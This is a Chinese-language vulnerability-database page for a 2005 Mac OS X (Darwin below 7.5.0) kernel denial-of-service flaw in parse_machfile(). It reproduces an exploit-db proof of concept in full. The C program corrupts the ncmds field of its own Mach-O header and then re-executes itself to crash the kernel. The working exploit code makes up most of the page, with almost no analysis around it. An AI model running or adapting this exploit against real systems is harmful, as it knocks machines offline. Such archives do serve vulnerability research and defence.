Apple Mac OSX 10.3.7 – Input Validation Flaw ‘parse_machfile()’ Denial of Service

Apple Mac OSX 10.3.7 – Input Validation Flaw ‘parse_machfile()’ Denial of Service

漏洞ID 1108412 漏洞类型
发布时间 2005-01-20 更新时间 2005-01-20
图片[1]-Apple Mac OSX 10.3.7 – Input Validation Flaw ‘parse_machfile()’ Denial of Service-安全小百科CVE编号 CVE-2005-0122
图片[2]-Apple Mac OSX 10.3.7 – Input Validation Flaw ‘parse_machfile()’ Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 OSX CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/762
|漏洞详情
This vulnerability has been rejected by the source.
|漏洞EXP
/*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo pulltheplug org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/


#include <stdio.h>

int main( int ac, char * * av )
{
  FILE * me;
  int rpl = 0xffffffff;
  fpos_t pos = 0x10;
  printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-n" );
  printf( "-( nemo pulltheplug org )-nn" );
  printf( "[+] Opening file for writing.n" );
  if ( !( me = fopen( * av, "r+" ) ) )
  {
    printf( "[-] Error opening exe.n" );
    exit( 1 );
  }
  printf( "[+] Seeking to ncmds.n" );
  if ( ( fsetpos( me, & pos ) ) == -1 )
  {
    printf( "[-] Error seeking to ncmds.n" );
    exit( 1 );
  }
  printf( "[+] Changing ncmds to 0x%x.n", rpl );
  if ( fwrite( & rpl, 4, 1, me ) < 1 )
  {
    printf( "[-] Error writing to file.n" );
    exit( 1 );
  }
  fclose( me );
  printf( "[+] Re-executing with modified mach-o header.n" );
  sleep( 5 );
  if ( execv( * av, av ) == -1 )
  {
    printf( "[-] Error executing %s, please run manually.n", * av );
    exit( 1 );
  }
  exit( 0 ); // hrm
}

// milw0rm.com [2005-01-20]

相关推荐: Rosiello Security Sphiro HTTPd 0.1B – Remote Heap Buffer Overflow

Rosiello Security Sphiro HTTPd 0.1B – Remote Heap Buffer Overflow 漏洞ID 1054466 漏洞类型 发布时间 2004-04-30 更新时间 2004-04-30 CVE编号 N/A CNNV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享